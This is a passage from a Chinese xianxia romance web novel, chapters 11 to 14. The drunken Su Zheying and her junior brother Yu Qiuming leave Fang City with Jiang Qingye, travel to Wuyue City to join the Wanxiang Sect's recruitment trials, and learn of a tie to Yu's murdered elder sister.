他深吸一口,咬着牙道:“你干什么?”
苏折映听到熟悉的声音,神色一缓,啧声道:“原来是小师弟啊。”
她还以为有采花贼呢。
苏折映放松下来,将身体的重量都压向郁秋冥,使唤道:“扶你师姐回去。”
郁秋冥嘴角一勾,气笑了。
她这一路可并不老实,走着走着,一会儿摸上郁秋冥的头发,欣慰道:“小师弟长大了。”
一会儿有拉着郁秋冥的袖子,嚷嚷着回去继续喝。
现在又在房门口,右手抓着他的前襟,左手在胸口上乱摸,还边摸边义正言辞道:“师姐刚才是不是打到小师弟了?让师姐看看伤得如何——”
“无事。”郁秋冥黑着脸,一手扶着苏折映,一手死死抓住自己的清白。
“怎么会没事!”苏折映见前襟扒不开,转手就要往别处。
郁秋冥手疾眼快攥住她手腕,低声道:“师姐,到你屋子了,该去休息了。”
苏折映头一偏,她听不见。
郁秋冥将她抓在前襟的手一并握住,眼神掠向四周,最终停在了苏折映的那根发带上。
他伸手扯下,原本就松垮的乌发,现在更是凌乱在肩头。
郁秋冥将发带一圈一圈缠在苏折映手腕,系了个紧。
苏折映动弹不了,老实了,但嘴上还在说着:“小师弟这是作甚?”
郁秋冥充耳不闻,握着手腕将她拉到床前,伸手一推,苏折映像个木头棍子一样,直直载在塌上。
苏折映躺倒在榻上,发丝散乱,她本就生得漂亮,不过平时表现得过分桀骜不羁,往往很难将她往正常女子上想。
此刻的她,有些上头,红着的眼尾看着越发勾人,更别说现在还直勾勾盯着郁秋冥。
郁秋冥抿唇,移开视线。
苏折映道:“解开。”
“嗯。”他应声,转身就走。
丝毫没有要解开的意思。
临走前,郁秋冥回头看她一眼,苏折映抬眸,以为他要给自己解绑,往前滚了两下。
郁秋冥喉间一滚,哑着声道:“下次别喝了,酒品真差。”
他抬手,开门,转身,砰一声,重重关上。
就这么离开了。
苏折映愣了好一会儿,才迷迷糊糊意识到小师弟说她酒品差。她不屑一笑,晕着头去解发带,最终发带没解开,自己倒是先睡着了。
这一觉直接睡到了日上三竿,苏折映懒懒起身收拾一番,打算去找郁秋冥同方无言告别。
方城的事基本解决了,至于方城失踪的百姓,好像不是她该关心的事。
她这人挺自私的,心就这么大,想让她装下大陆百姓?
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这辈子怕是不可能了。
刚出院门,远远就瞧见一黑一白两道身影过来,郁秋冥依旧是一身黑衣,上面纹着金边云卷。
江清野则穿着方无言找来的那件白衫,乍一看还挺合身。
她走过去,近了才发现两人神色有些不对,问道:“怎么了?”
江清野蹙着眉,递来一封信,“正打算找你,我今早去找方无言道别,没有找到他,反而发现了这个。”
苏折映利落拆开,里面只有薄薄一张,张狂的字迹,上面只有寥寥数语——
“鄙人方无言感念三位大人救方城于水火之中,亦感激将方某点醒。方某愧对方城百姓,更无言面对阿澜。
曾听阿澜讲述北方冬日雪景甚美,我想替她看看。
此去或是经年,亦或永别。
但方某觉得,不久的将来还会听到三位大人的名字。”
看完,三人皆沉默了,谁也没想到方无言会在尘埃落定后选择离开。
他走了,那方城如何?
啪啦——
府外又是一阵喧哗,敲锣声鼓乐声混杂。
他们出去,恰巧撞见背着小包袱行事匆匆的阿臻。
苏折映一伸手,抓住他的衣领,问道:“你在做什么?”
阿臻额头沁着汗,喘了口气才道:“我在收拾东西。”
“你也要走?”苏折映诧异道。
就见阿臻严肃点头,认真道:“城主大人今早来找我了,他说他要出远门,就将城主一位交由别人了。他说让我好好跟着这个新城主学本事,将来接管方城。”
他本来应该是在城主大人身边长大,由城主大人教导的。
苏折映了然,原来方无言早就将一切安排好了,所以此次离开是深思熟虑后做出的决定。
“所以外面是在庆贺新城主?”
阿臻点头,见苏折映松了桎梏,抬脚就要开溜。
却被另一只魔爪抓住,他幽怨地看向郁秋冥。
哥哥也坏!
苏折映戳了戳他的小包袱,好奇道:“你能去哪里?”
这么个小孩,能活吗?
阿臻一顿,坚定道:“姐姐说过,我骨骼清奇,未来必成大器!”
苏折映见他这么严肃地讲她的话说出来,忍俊不禁道:“就不怕姐姐骗你?”
他小脑袋晃了晃,肯定道:“修仙者不骗普通人!”
“哈哈哈哈——”苏折映忽然大笑起来,搭着郁秋冥的肩,道:“这小东西估计刚出城就得被人卖了。”
闻言,阿臻涨红了脸。
江清野看不下去了,蹲下身子,摸着他头安抚道:“她一向这性子,阿臻莫在意。”
郁秋冥撒开了他后,阿臻便一头扎进江清野怀里。
江清野轻拍几下,温柔道:“阿臻决定好了吗?”
阿臻毫不犹豫点头,"阿臻不怕坏人,阿臻想成为哥哥姐姐一样厉害的人。"
那样他就可以替城主大人守护好方城了。
江清野笑了,看向苏折映,什么意思不言而喻。
苏折映眉梢一挑,笑吟吟从摸出个钱袋子扔到阿臻手里。
阿臻一愣,后知后觉要拒绝,却被苏折映先开口堵了回去,“你那小身板不多吃点就饿死在路上了,还怎么变厉害。”
他瞬间就攥紧了它,乐呵呵道:“谢谢姐姐!”
苏折映嗯了一声,三人正式道别。
方城的侧门清冷的很,城中百姓大多都聚在了正门,鼓乐升天,衬得此时更加凄冷。
苏折映没骨头似的靠在门框上,郁秋冥抱着剑站在她身侧,而江清野比两人都更靠前些。
三人看着阿臻往前走,他时不时回过头,朝他们挥手。
正值晌午,日光亮得刺眼,苏折映抬手一遮,才勉强看清那个小小的身影,他回过头,眼眶像是有什么东西闪着光。
大概是太刺眼了,沁了泪,苏折映想。
她看着阿臻一步步走远,直到那抹小身影变成一个黑点,直到黑点消失。
而他们的缘分,好像也随着黑点消失——
到此为止。
12. 万象宗
江清野回头时就发现苏折映愣愣站在原地很久了,他抬手在她面前挥了挥,苏折映这才回神,勾唇一笑道:“今日后你打算去哪里?”
他脸色沉了些,放在身侧的手不觉攥紧了,答道:“去万象宗。”
闻言,苏折映打趣道:“不回青冥宗了?”
“青冥宗还管不到我身上。”江清野笑道。
苏折映了然,都说到这份上了,江清野应该是给青冥宗摆明过身份了的。
不过,他去万象宗作甚?总不能是为民除害来阻止魇魔阴谋的吧?
她自顾自摇头。
江清野虽然性情温良,但也不是什么心怀天下的主。而要说这心怀天下的人——
苏折映转头,一双勾人的桃花眼笑吟吟望向一旁的少年。
她道:“小师弟呢?要回溟川还是跟着师姐去万象宗?”
“万象宗。”郁秋冥毫不犹豫道。
意料之内的回答,倒是江清野颇为诧异,疑惑道:“你们也要去万象宗?”
“怎么,我们不能?”苏折映反问,其实也不是非去不可,至少对她而言。但小师弟就不一样了,灭门之仇,肯定要报复回去。
与其在溟川屿偷鸡遛鸟,倒不如去万象宗耍耍,她还挺期待那个疯子小师弟。
“好奇罢了。”江清野随意道,他是真的不关心。
他瞧了眼天色,觉得差不多了,便道:“那我先行一步?”
“诶,急什么?”苏折映指尖勾起腰间的吊坠,放在手中摩挲。
郁秋冥瞥见,知道这是她思考时下意识的行为。
“一起?”她问道。
江清野一愣,显然没想过她会说出这么个提议,问道:“小少主不得给我一个理由吗?”
“什么理由?”苏折映咧嘴,笑得有些邪气,“好友,够吗?”
这么拙劣荒谬的理由本以为他会毫不留情拒绝。
不想,江清野眼里划过精光,笑道:“够了。”
苏折映瞬间警惕起来,她觉得江清野肚里又藏了什么坏水。见他视线一向自家小师弟,苏折映越发觉得他不对劲了。
“小少主这么看着我做什么?”江清野问道,眼间却是藏不住的笑意。
移开眼,苏折映轻笑,“藏好你的尾巴。”
别让她抓到了。
江清野坦荡道:“这是自然。”
“走吧。”
烈日高悬着,烧得她心里莫名热起来。
苏折映越过两人,带头走在了最前方,两手交握垫在后脑勺,平日里没个正行,如今走起路来依旧是这样。
头上那根黑色绸带隐在发间,只模模糊糊看见些许玄色,随着她的步伐摆动,绣着的蝴蝶像是活了起来。
郁秋冥抬步,快速跟上,却是落后一步,走在偏后侧。
江清野瞧着那俩抹身影,怅然一笑,也慢慢跟了上去。
三人直接出了城。方城偏南,而万象宗却在东边偏北,离平梁近些,所以只靠脚程,怕是不知道走到什么时候了。
郁秋冥疑惑道:“为何不御剑?”
“不是说了——”苏折映扬声。
“我可以带你。”他抿唇道,看着还有些不情愿。
不情愿?
苏折映翘起嘴角,那她就要让你不情愿!
“那就多谢小师弟了。”她抓上郁秋冥的袖子,笑吟吟看着他,想从他脸上看出点什么。
好消息:是看到了。
坏消息:跟预想的不一样。
郁秋冥弯下唇,抓住了她的手腕,感受到微凉的触感,他忽然就轻笑出了声。
不待她反应过来,漱玉出鞘,耳间热风呼啸而过。
苏折映眼前一花,腰间被覆上温热,而后身体一轻,便站在了数丈高的漱玉上。
漱玉剑身细长,两人落脚的地方并不宽裕,因为是被搂着上来的,苏折映侧身站在他左边,一只手还抓着他的袖子,而郁秋冥却是站在前面,侧身扶着她。
她身形顿时僵住,腰间痒痒的,僵硬道:“小师弟,师姐不会掉下去的。”
不用这么搂着她……
郁秋冥转头,发丝擦着她的脸,苏折映更痒了。便听见他没头没尾的一句:“江公子说在万象宗最近的一处城碰面。”
苏折映:。?
她问了吗?
江清野何时说了?
“我说的不是——”她身形微微后撤,刚开口,风就一股劲儿得往她口中灌,后面的话被埋在了里面。
郁秋冥黑眸沉沉的,手臂微微用力,不动声色地将她勾了回来,认真道:“不会让师姐掉下去的。”
哈?
苏折映咬牙,忍道:“那就多谢小师弟了。”
一路上,苏折映拘谨的很,索幸小师弟除了揽着她没再有其他动作。
离万象宗最近的城就在万象宗山脚下——无月城。
在大陆上也算是小有名气的了。
漱玉刚着地,苏折映便挣开腰间的桎梏跳出去,离了他八丈远。
郁秋冥收剑的手一顿,问道:“师姐这是?”
“有些闷,透透气。”苏折映脸上有些发热,喉间也感觉到干涩,她已经没有多余的精力思考郁秋冥的问题了。
他轻笑,苏折映这才后知后觉自己说了什么,脸顿时更热了。
一路上郁秋冥给她挡去了大部分的风,哪里还会闷?
她催促一声,“走吧,别让江清野等急了。”
事实却是,江清野根本没有等他们。
找到他的时候,他已经在客栈买了间房,将自己收拾一番跑到了茶楼听书。
无月城才是一座真正的大城,人多城也大,一眼望去长街望不到头,更别说这样的街随便一个窄巷拐出去便是。
几乎条条街都是百姓和慕名而来的修士,不过今日修士却是格外的多。
处处人满为患的地方,江清野却偏找了个清净地儿。
这茶馆说来也玄乎,本该是雅士墨客云集的地方,偏偏这家却是无人问津。
锃亮的茶台映着烛光,甚至各个茶台边还配上了书案,笔墨纸砚一应俱全。白玉雕栏,修得高雅大气,就连门口的牌匾都提上了龙飞凤舞的几个大字——
无上阁。
苏折映挑眉,倒是衬这城。
无月城,无上阁。
一楼矮台子上的说书人对着空无一人的茶台讲得起劲,见有新客进来,声音急停。
一双黑眼珠子一瞬不瞬盯着他们,也不动,就这么干看着两人从门前到梯前,再到二楼雅间内。
直到看不见人影,他才缓缓转了头,继续绘声绘色讲起来。
苏折映坐在软毡上,一条腿支起来,看见案上的糕点,她伸手拿来一块,边吃边道:“怎么背着我和小师弟在这寻快活?”
江清野一愣,什么叫寻快活?
他给两人又沏了两杯茶,打趣道:“小少主,若真说要寻快活也得是在春芳苑这种地方吧?”
“春芳苑?”苏折映皱眉,她确实听过春芳苑,平梁城最大的青楼,不过跟这又有什么关系?
江清野突然想起来,苏折映好像没有去过青楼。无常道人待她是好,但也处处在限制她,什么不准喝酒,不准滥杀,甚至青楼这种风雨之地也从未让她了解过。
他刚想解释一番,“春芳苑就是——”
“不是什么好地方。”郁秋冥突然道。
苏折
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映诧异,俯身往他面前凑近几分,道:“不是吧,小师弟你也去过?”
眼前突然凑来一张脸,郁秋冥又闻到了那股檀香味,他端着茶,垂下眸子没有看她,轻声道:“没有。”
“那是什么?”苏折映眼神徘徊在两人之间。
不愿意说便算了,日后她寻个时间去瞧瞧便是了,无月城这么大,青楼多的是。
江清野看了一眼郁秋冥,思量后才开口,“没什么。”
眼看那两人只顾着喝茶,苏折映便端起糕点自己解决了,吃了一半突然想起来什么,问道:“你怎么来茶馆了?”
她打量一圈,还寻了个这么偏僻的茶馆,不过这装横还是不错的。
“你们走得急,只说了来万象宗,可万象宗又进不去,便觉得你们会在无月城落脚,便过来寻。”江清野端起热茶,抿了一口,顿声道:“不过,没想到你们竟会慢我一步。”
“所以寻到茶馆来了?”苏折映轻笑一声,又看向郁秋冥,后者对上她的视线,又不自然地移开。
她又是一声,“江公子说在万象宗最近的一处城碰面?”
小师弟什么时候变了?
江清野也是一阵尴尬,“确实是找了,只是路过这家茶馆时看着清净,便想来歇歇,没想到你们就找来了。”
苏折映伸个腰,已经吃得差不多了,说道:“聊聊吧。”
“万象宗列居四大宗之一,想混进去可不容易,更别说想要自由行动了。”她道。
她和郁秋冥此行目的明确,不过是查清万象宗是否参与了那场屠杀。而江清野的目的不明,但也总归都是要进万象宗的。
“巧的是,我们很幸运。”江清野敲了敲茶台道,“万象宗最近在招揽新弟子,这三日便是报名的日子,大多散修和世家弟子都来到了这里。”
“难怪。”苏折映嘀咕一声,难怪今日见城中有如此多的修士。
郁秋冥问道:“如何选拔?”
“简单!”她一拍茶台,给郁秋冥解释道:“四大宗门弟子选拔标准皆是统一规定,报名的修士在会在七日后前往宗门参加初选擂台。”
“不,说擂台不够准确,应该是说——”
“乱斗。”她眼神一沉,没有了方才的兴奋。
显然,初赛并不是什么温和的选拔方式。
“乱斗?”郁秋冥一顿。
苏折映道:“你没接触过宗门自是不清楚这些。”
“说好听点叫乱斗,不好听点就叫乱杀。报名后的弟子会在指定场内存活下来,但只能有三百人。”苏折映摇头,虽然残酷,但依然有不少修士义无反顾报名,只为了那一身代表着宗门的弟子服和其他人钦佩羡慕的目光。
“初试之后呢?”郁秋冥又问。
她瞧他一眼,总觉得这些天小师弟话变多了,若是放在之前,无论她怎么说都不会正眼瞧她一眼。
“初试之后便是终试。”江清野接上话,“这个相较于初试还算好些,三百名弟子统一前往阴魂林界猎妖兽,得分前百名者入宗门,前二十者入内门,可拜各峰峰主为师。”
“既然是赶上了好时候,那进万象宗便好办多了,明日便可去报名。”苏折映道。
神色一松,她便觉着有些无聊了,该谈的也都谈完了。
她将目光放在窗外,只有寥寥几人匆匆而过,这里还能隐约听到楼下说书人的声音。
细细一听,好像是在讲着什么男主人公逃亡路上过江遇一樵夫,他警惕樵夫,樵夫却始终是泰然自若。
完全极端了两个人相遇吗?
有点意思。
苏折映直接起身,在两人不解的目光下推开门,对着下面的说书人喊道:“先生,故事结局是何?”
13. 四大宗
说书人正讲得激进高昂,突然被人叫住,却没有生气,只是一双黑眸紧紧盯着她,就像刚来时那样。
见他不答,苏折映也不急,半趴着木栏边,支着头,笑吟吟看着他。
刚出来的郁秋冥见状,一言不发跟着她一旁。
说书人像是被看得有些怕了,黑眸一转,开口道:“看官可不听我讲完?”
结局是何,听完便知。
哪知苏折映却笑道:“我只关心结局是何,没耐心听完故事。”
茶客众多,不是每个人都愿意听完故事再离席,至少她不愿意。
“阁下听客只有我们,何不告知?”她问道。
说书人一愣,循规蹈矩这么多年,他只知道遵照规矩站着讲完故事便可。
“不合茶馆规矩。”说书人僵硬道。
“原来是个死脑筋。”苏折映道。“那便不听了。”
总不能坏了人家的规矩。
她转头,朝着雅间内的江清野问道:“如何了?”
“走吧。”江清野出来。
毫不犹豫地带着郁秋冥转身下楼便要离开。
说书人还站在原地发愣,周身的宽敞矮台放着几柱高台,挂着红绸,头顶上还吊着聚光用的萤石。他一身蓝白长衫,玉冠束发,白净的脸上贴了假胡须。像个装老头的小孩。
眼见三人就要跨出门外,他忽然胡须一撕,急声道:“我可以告诉你结局!”
脚步一顿,苏折映眉梢一挑,有些诧异,她是真没觉得这人会打破自己恪守的规矩。
她转身,依在了门边,问道:“是何?”
说书人深吸一口气,道:“樵夫不仅帮他渡了江,也摆渡了他。”
“就这?”她问。
说书人:“就这。”
“没了?”她不可置信。
说书人:“没了。”
苏折映嗤笑一声,她还以为两人会什么精彩桥段,没想到却是两个人生过客。
没意思。
她转身要走,说书人却跳下来,手疾眼快想将她拦下,被她躲开了。
“怎么?”她问道。
说书人拧眉道:“可是结局不满意?”
“那是自然。”苏折映道。
“如何才能满意?”他问。
苏折映觉得这人怪得很,故事而已,不满意便是不满意,她道:“很重要吗?”
那说书人还真重重点了下头,道:“很重要。”
苏折映摸着下巴,一脸苦思。
他见状,以为她也没有想出更好的结局,顿时颓丧下脸,双手一揖,歉声道:“是在下唐突了,冒犯了客人。”
转身回了自己的矮台上,接着没讲完的部分继续。他像个提线木偶,一切行为都按部就班地遵照着指令进行。
苏折映想了会儿,其实她也没有想出一个预期结局,只是现在的结局并不是想要听的。
郁秋冥忽然靠过来,她疑惑看去,对方却矮下身凑近道:“师姐没有想要的结局吗?”
“没有。”她道。
郁秋冥垂眸,掩住了眸中的神色,只听他莫名一句,“会有的。”
苏折映觉得奇怪。
最后三人一齐回到了江清野落脚的那家客栈,身为江家独子,他从不苛待自己,直接在无月城最好的一家客栈包下了三间。
客栈大厅内尽是大大小小的萤石和夜明珠,一层放着数张方玉案,案上燃着香烛,缕缕馨香钻入鼻间,让人精神舒畅。
三人围坐在中间的一张玉案,周身也坐着不少人,几乎全是修士,个个讨论着近日的万象宗报名。
“要我说!这万象宗虽为四宗之一,但也用不着这么冒险吧?一个初试便要如此,更何况今年万象宗私下改了规则。”一个健壮的修士不屑道。
“这位兄弟,这话就不对了吧。”隔壁桌的一个文绉绉的修士反驳道,“如今四大宗里,除了万象宗,青冥宗实力早就大不如前,菩提宗一群女修能有多厉害,古落宗已经好几年没出过什么大消息了吧,都快要隐世了!反观万象宗,每隔几年便要招收一批新弟子,那次除妖奸魔不是万象宗带着冲锋陷阵?”
“就是!如今能还未隐世的大宗门还有几个够你挑的了,还看不上万象宗?真是可笑!”
“别这么说,万一人家真有那种实力了呢?”
“实力?什么实力?”那个文绉绉的修士撇嘴,打量一番那健壮的修士,嫌弃道:“你指的是他那一身腱子肉?哈哈哈——”
瞬间,满堂哄笑。
可这时,不知道哪个角落里传出一声,“不是还有溟川屿?”
大厅内有忽地安静下来,像是按住了什么按钮,好一会儿才有人开口,是个一身华服的女子,她转头对向西边的角落,头上的金钗银珠哗啦响。
安静的大厅里,众人都静声听着,她俏声道:“溟川屿隐世是人尽皆知,十年前突然征收一批弟子后便再也没了消息,怎么?万象宗都还没入呢就开始打溟川屿的主意了?”
“这位姑娘说的不错。”那文绉绉的修士摸出一把折扇,自以为风流地扇着,“溟川屿实力大陆中没有几人清楚,更何况有无常道人坐镇,想去溟川屿?还是先掂量掂量自己几斤几两吧!”
他说完,笑着向那个华服女子抛了个媚眼,哪知后者对他翻个白眼,道:“你懂的很多?”
他一愣,便听见她说道:“无常道人早年便四处云游,如今溟川屿是他坐下的大弟子执事。”
“大弟子?”那修士彻底接不上了,他平时研读各宗世家的关系,就是为了能够像在今天这样的场合装上一把,但有关溟川屿的记载却少之又少,他只听过些传闻,哪知是真是假。
“不会是那个小少主吧?”有人接声了。
这么一接,瞬间就有人想起来了,“就前一段时间传着的那个——”
“地痞流氓?”
“对!就是他!”
“嘶——”几人唏嘘一声,不说话了。
江清野和郁秋冥皆是看向苏折映,她还在津津有味听着,见没人说话了,她高声道:“怎么不讲了?”
众修士皆是面露惧色,嘴欲张不张的,她看不下去了,笑道:“怎么,不就是传闻她横行霸道,滥杀无辜吗?”
“诶!这位姑娘,祸从口出!祸从口出!”有个年龄大点的修士急声道。
“嗤,一群怂包。”华服女子冷笑一声。
“不懂就别乱说!”
“怎么不懂,不就是传言传出后,平梁边上那个大土匪窝被人给端了吗?”她道,“那也是他们活该,没事乱传什么?”
“怎么就乱传了?不是事实吗?”有人见她一个女修这么嚣张,顿时一拍玉案,反驳道。
他身边的
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同行拉他一把,道:“跟一届女修计较什么?”
他反应过来,细眼一瞧,这才发现这女修模样生得也不错,火气消了大半。
“哼。”那女子冷哼一声,懒得同他们浪费口舌,起身回了二楼的屋子。
苏折映瞧着她离开,眼里染上点兴味。
她这人有趣,有机会会会她。
她一走,周围嚣张的氛围顿时散了一大半,也有人默默松了口气。
不过话题还是躲不过溟川屿。
当事人却是毫不在意,江清野感慨道:“你这名声还是一如既往地烂臭。”
倒不是说有多坏,只是不少无人认领的恶事都被盖在了她头上,而她本人对此也是毫不在意,久而久之,地痞流氓这么个烂名声就人尽皆知了。
“过奖过奖。”她笑道,像是真的在感谢他夸她一样。
郁秋冥默默盯着他,却不说话。苏折映用臂肘撞他,他开口道:“怎么了?”
她贱兮兮笑道:“不点评两句?”
“特别好。”
“怎么地痞流氓到你这里就是好了?”她疑惑道。
郁秋冥抿着唇,“传言罢了。”
“若事实也是如此呢?”她紧追不舍道。
“那又如何?”
苏折映乐了,扬起唇,轻喝一声,“好师弟。”
好一个‘那又如何’!
点的菜也吃得差不多了,但总缺点什么,苏折映眸光一闪,问道:“小酌一杯?”
“不准。”
“不喝。”
两道声音一同拒绝,前者小师弟,后者江清野。
她顿时拉下头,“你们俩真没意思。”
说着,拍拍手起身走了。
只剩下郁秋冥和江清野两人,郁秋冥也欲起身,却被江清野开口拦下,他道:“苏公子介意聊两句吗?”
郁秋冥颔首,又坐了回去。江清野随意一笑,道:“苏公子可知在下此行来万象宗是为何?”
他拧眉,“与我无关。”
江清野不在意他的态度,继续道:“是为了一个人,我想苏公子也认得她。”
大厅的修士逐渐散去,现在已经没有多少人在了,客栈门还大开着,夜里的凉风窜进来,江清野忽然望向门外的黑天,眼神带着迷离和怀念。
他张口,唇边吐出那个日夜琢磨在嘴边的名字,“郁秋芷。”
锵——
几乎是在他话落的瞬间,漱玉出鞘,冷剑贴在了他脖颈边。
江清野回神,却是微微一笑,“苏公子大可不必。”
他推开漱玉,“我并非你们郁氏的仇敌,相反,我与你长姐是至交。”
郁秋冥没说话,只是攥着手里的剑不自觉紧了又紧,黑眸冷得让人发寒。
江清野继续道:“其实,方城初见时便有些怀疑了,只是说我未曾听她提到过她还有个弟弟,郁氏也没有传出还有个老幺一说。”
所以,他起初也只是疑惑,为何这个叫苏郁的少年会与她这么相像。
本以为只是个巧合,可在听说郁氏灭族与万象宗有关时,他的反应也不平静,而今日他也不敢确定,不过是诈他一下,没想到——
“也算意外收获了。”江清野笑道。
“我知你不信,但你得认得这个吧?”说着,他小心翼翼地从乾坤袋里拿出一个剑穗。
14. 无上阁
一抹青色被递在眼前,剑穗细腻柔软,丝线被编织成紧密的花纹,像是一朵盛开的花,花瓣层层堆叠起来,下方散开的穗子长短也是错落有致。
郁秋冥接过,指尖摩挲着剑穗。
江清野道:“同行时她便整日学着编剑穗,挑来挑去选了青绿色,她说希望那个人能像他一样自由活着。”
他盯着剑穗,想起了不少往事。
都说睹物思人,以前江清野会对这些嗤之以鼻,现在却是不敢将它拿出来了。
意外的相遇,慌张的结束。
那时的郁秋芷是真的快活自由,没有修炼天赋,也无需专于朝政。游山玩水,好不快活。
而编剑穗的起因还是一日她瞧见江清野拔剑时上面挂着白色剑穗,心思一动,便问他:“南清野,这剑穗可是你编的?”
江清野笑笑,算是默认了。
之后她便让江清野帮忙教她编剑穗。
当时江清野并未告诉她真正的名字,两人的相遇也不过一场意外,起初是他遭人追杀而身受重伤,深夜翻进一处破茅草屋。
因为那屋子实在是太破了,破到江清野以为不会有人住,便直接进去了,没想到却吵醒了恰巧留宿在此的郁秋芷。
虽为郁氏皇族,但郁秋芷平日便是节省的主,游历时也是能省则省,一身白布衫,头发用一支木簪随意挽起,杵在门前显得格外单薄。
她撩起破席挂着的‘门’,刚翻过竹篱笆的江清野便将剑横在她脖颈,冷声道:“别动。”
郁秋芷也是见过大场面的人,她丝毫不慌,淡淡道:“在下一介凡人,这位公子大可不必担心我会做什么。”
江清野一瞧,果真是个凡人,但也并未放松多少。
可凡人又如何,大陆凡人亦是不少,炼体者亦能高居人上。
他架着剑,让郁秋芷带他进去,屋子破得不像话,旧木桌上燃着蜡,烛光跳动,却不如坡屋顶漏下的月光亮。
看到他满身的伤,郁秋芷拧着眉有些不快。但碍于脖颈上的剑,耐着声道:“你再不上药怕是要晕过去了。”
恰好她懂些药理,且又因长时间跋涉的缘故,身上备有不少自己采的止血药草什么的。
如果上个药就能把人送走,那倒也不是不行。
江清野清楚自己的伤势,眼下他也只能相信这么凡人,他收了剑,环视一圈后坐在了唯一一处能坐的破木板上,一双眼紧盯着她,自己扯开了衣裳。
前后交错的剑痕和旧伤一齐映入眼,郁秋芷难得有了大的情绪波动,她道:“你这伤,我这些止血草怕是也没什么用。”
“你上药便可。”江清野闭上眼。
郁秋芷无法,她将那几株小得可怜的止血草全部放在了破碗里捣碎了,又将江清野的衣衫扯开些,白花花一片,血痕就显得更狰狞了。
她端起破碗,两指分出些碎草叶子一点一点轻压上他的伤口,刚放上去就觉得手下的肌肉突然僵住,她一顿,不解道:“很疼吗?”
江清野深吸一口气,闷着声道:“别说话,上药。”
郁秋芷前前后后忙活了半个时辰才上完了药。她又将自己多出来的一身白衫给他,“你若是不介意便换这身吧。”
江清野道了谢,也不挑剔便换上了。
郁秋芷身量并不小,但这身衣裳对江清野这么个男人来说还是有些小了。
她坐在破木板上,两人之间的气氛比刚才缓和了不少。
郁秋芷状似随意道:“敢问这位公子大名?”
江清野一愣,默了半响才道:“南清野。”
郁秋芷垂眸,四宗有名的修士中她未曾听过这么个名字,或是什么不起眼的小修吧。
江清野将染血的那身衣服烧掉,现在身上没有什么值钱物件,便问道:“姑娘芳名?日后在下也好报答。”
郁秋芷一笑,答道:“秋芷。”
*
江清野收回思绪,见郁秋泽也盯着剑穗发愣,又往前递了几分。
他缓缓接过,低声道:“长姐说过要送我剑穗,没想到最后还是交由别人转赠。”
“她也想亲自给你的。”江清野苦笑道:“郁氏被屠事发突然,她临别前将剑穗交给我说若是遇到个和他长得相像的少年就交给他。”
那时他不知郁秋芷是郁氏皇族的人,只以为家中有急事便要匆忙离开,后来迟迟未等到她的消息便去查了一番,不过为时已晚。
“苏郁不是你本名吧?”江清野问道。
郁秋冥点头,他将剑穗小心翼翼挂在漱玉上,“郁秋冥。”
江清野笑了笑,像是在自言自语,“郁家把你们藏的太好了。”
如果他能早点知道她身份的话,是不是就不会是这样的下场了。
“我会为他们报仇。”郁秋冥神色阴鸷,丝毫没有平日的清冷自持。
江清野沉默,但态度早就摆明了不会放过那群人。
周围已经没人了,走的走,散的散,两人沉着脸对坐,气氛冷得瘆人。
那边的店小二走也不是,留也不想,但更不敢此时上前去提醒两人,能在这住下的客人非富即贵,个顶个的不好惹,万一发难下来,他一个小厮找谁说理去?
好在没多久便有人来救场了。
苏折映站在二楼边上,对着下面的两人道:“你们是打算彻夜长谈?”
郁秋冥闻言,神色一敛,拿起漱玉就乖乖上楼了。
倒是江清野丝毫不动,反而意味深长地看着她,惹得她一脸莫名。
一个两个的,莫名其妙。
待会儿就去问问小师弟。
一直到夜深,苏折映再一次摸进了郁秋冥的屋子,月光从窗户映进来,漏出一缕照在床上。
她绕过前屏,直径走到他床前,微弱的亮光照在他脸上,镀上一层柔光,没有了白日时的冷硬。
郁秋冥和衣而睡,即使睡着了衣衫也工整的很,她发现郁秋冥似乎很钟爱黑色,再搭上个他标准的无情无欲的木板似的脸。
啧,依旧好看。
忽地,苏折映看见他眼睫小幅度轻颤一下,她勾唇扬起一抹坏笑,双手支在床沿,俯身一点点凑近,看见他颤动的幅度不断加大,两人的距离越来越近,她不禁屏住气。
以为郁秋冥会继续装睡,哪知他突然睁眸,神色一厉,身侧的手抓住她右手手腕,猛地向前一拉——
苏折映猝不及防向前压去,唇上好像擦过什么东西,软软的,带着温热。
她撞了郁秋冥满怀,整个身子都压在他身上,腰上被一只大手虚虚扶住。
她低眸,眼前是白净的颈窝,因为突然被扯下来,她一只手在郁秋冥手里,另一只手匆忙间抓住了他前襟,随着身体重心下落,手里那片布料子也被她拽得大开。
苏折映一慌,松开了左手,无处安放,就直愣愣僵在半空。
身下的胸口上下起伏着,脖颈便是他阵阵的鼻息,吹得她有些痒。
她彻底僵住了,只听身下的人低声道:“师姐这是做什么?”
“我——”
苏折映张口便要狡辩,但身下的胸
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腔一阵颤动,带着她心里一抖。
郁秋冥侧头,只能看清她黑黑的发顶和被发丝遮挡住的一抹嫣红,他笑道:“深夜摸进我屋子里总不会是有什么事要说吧?”
苏折映一顿,她总不能说是吧?
她还趴在郁秋冥身上,想先起身,可后腰上的手却是丝毫没有要拿开的意思,她顿时咬牙道:“怎么,都是亲师姐弟了,亲一下不行吗?”
登徒子!
郁秋冥却默了声,苏折映看不到他的神情,拿不准他此刻的想法,便用力起身,被依旧被扣得很牢。
他微微抬头,附在她耳边,压着声道:“师姐知道怎么亲吗?”
苏折映耳边热热的,下意识颤身,乱七八糟道:“不就是刚才那么亲么?”
贴着唇,擦一下就过去了……
“嗤。”他嗤笑一声,松开了她。
苏折映立马起身,舒了口气。
憋死她了。
郁秋冥半撑起身,衣衫本就被拽得松垮垮的,此刻又散开几分,瞬间让人浮想联翩。
他低着头,看上去有些失落。
失落?
苏折映心里否定,小师弟这种根正苗红的正道修士,怎么会有这种龌龊心思。
“师姐是打算歇在这里?”郁秋冥忽然抬手,拇指蹭上薄唇,眸中带着笑意,嘴角一挑,那小虎牙又露了出来,又乖又坏的样子。
她尬笑一声,“不打扰小师弟休息了。”
话落,直接闪身冲出门外,快得让人看不清身影。
苏折映回到屋,脸上热度未消,躺在床上翻来覆去又睡不着。
她直接下床,打开窗户便翻身下去。
此时街上已经没有什么人了,她慢悠悠晃在街头,漆黑的夜里一抹青色被带动着一摆一摆的,怎么看都显得诡异。
不知不觉,她便又转到了那个茶楼。
无上阁三个鎏金大字成了在这偏巷色里唯一的颜色。
夜风袭过,苏折映偏头,无上阁正对的墙面旁立着一个身影。
那人瞧见她看过来,明显怔愣了一下,而后缓缓走出来,黑影在地上一点点被拉长,那人的脸在月光下清晰起来——
正是今夜在无上阁讲书的先生。
他一身黑色劲装,脸上的胡须早就撕了下来,手中提了一个沉甸甸的布袋,袋子底端沁着黑乎乎的液体,啪嗒往下滴着,顺了一路。
